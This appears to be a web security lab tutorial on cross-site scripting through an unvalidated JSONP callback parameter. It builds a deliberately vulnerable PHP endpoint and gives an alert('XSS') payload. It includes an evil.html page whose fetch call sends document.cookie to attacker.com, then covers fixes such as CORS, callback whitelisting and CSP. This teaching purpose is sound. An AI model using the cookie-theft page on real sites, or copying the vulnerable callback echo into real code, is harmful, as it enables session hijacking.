Objective
Learn how to exploit Cross-Site Scripting (XSS) vulnerabilities in JSONP endpoints to execute malicious JavaScript through callback functions. Understand how to mitigate this risk by replacing JSONP with secure data exchange methods and validating callback parameters.
Scenario
You are testing a web application that uses a JSONP endpoint to fetch data for cross-origin requests. Due to insufficient input validation, attackers can inject malicious JavaScript through the callback
parameter, leading to the execution of arbitrary code in the victim’s browser.
Lab Setup
Prerequisites:
- Basic knowledge of JavaScript and web application security.
- XAMPP/LAMP/WAMP stack installed (or any web server with PHP support).
- A code editor (e.g., VSCode, Sublime Text).
Step 1: Create the Vulnerable Web Application
- PHP Script for JSONP Response
- Create a file
data.php
:<?php header('Content-Type: application/javascript'); $data = json_encode([ "username" => "alice", "email" => "[email protected]" ]); $callback = $_GET['callback']; echo "$callback($data);"; ?>
- Create a file
- Running the Application
- Start the Apache server.
- Place
data.php
in the web server’s root directory (htdocs
for XAMPP). - Open
http://localhost/data.php?callback=test
in your browser. - Expected Result: The browser displays:
test({"username":"alice","email":"[email protected]"});
Exploitation Steps
Step 1: Crafting a Malicious JSONP Request
- Craft a malicious request by injecting JavaScript into the
callback
parameter:http://localhost/data.php?callback=alert('XSS')
Expected Result:
- The browser executes the injected payload, triggering an alert box with the message
XSS
.
Step 2: Stealing Cookies via JSONP
- Modify the payload to steal cookies:
http://localhost/data.php?callback=evilFunction
- Host a malicious page
evil.html
:<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Stealing Cookies</title> </head> <body> <script> function evilFunction(data) { fetch('http://attacker.com/steal.php?cookie=' + document.cookie); } var script = document.createElement('script'); script.src = 'http://localhost/data.php?callback=evilFunction'; document.body.appendChild(script); </script> </body> </html>
Expected Result:
- The victim’s session cookies are sent to the attacker’s server.
Solution and Prevention
Problem Analysis
- The application does not validate the
callback
parameter, allowing arbitrary JavaScript execution.
Fixing the Vulnerability
- Replace JSONP with CORS
- JSONP is outdated. Use CORS for cross-origin requests:
header('Access-Control-Allow-Origin: https://trustedsite.com'); header('Content-Type: application/json'); echo json_encode([ "username" => "alice", "email" => "[email protected]" ]);
- JSONP is outdated. Use CORS for cross-origin requests:
- Validate the Callback Parameter
- Allow only whitelisted callback functions:
$allowed_callbacks = ['loadData', 'displayUser']; $callback = $_GET['callback']; if (in_array($callback, $allowed_callbacks)) { echo "$callback($data);"; } else { echo "alert('Invalid callback');"; }
- Allow only whitelisted callback functions:
- Set Content Security Policy (CSP)
- Restrict script execution:
header("Content-Security-Policy: script-src 'self'");
- Restrict script execution:
- Use Strict MIME Type Checking
- Ensure only JSON responses are allowed:
header("X-Content-Type-Options: nosniff");
- Ensure only JSON responses are allowed:
Testing After Fix
- Attempt to inject
alert('XSS')
in thecallback
parameter. - Expected Result:
- The application blocks the request or responds with an error.
- Attempt to load the malicious script from
evil.html
. - Expected Result:
- The browser prevents script execution due to the CSP and input validation.
Conclusion
In this lab, you exploited JSONP-based XSS by injecting JavaScript into a vulnerable endpoint. You also learned how to prevent this vulnerability by replacing JSONP with secure alternatives (CORS), validating callback parameters, and enforcing strict security policies.
0 Comments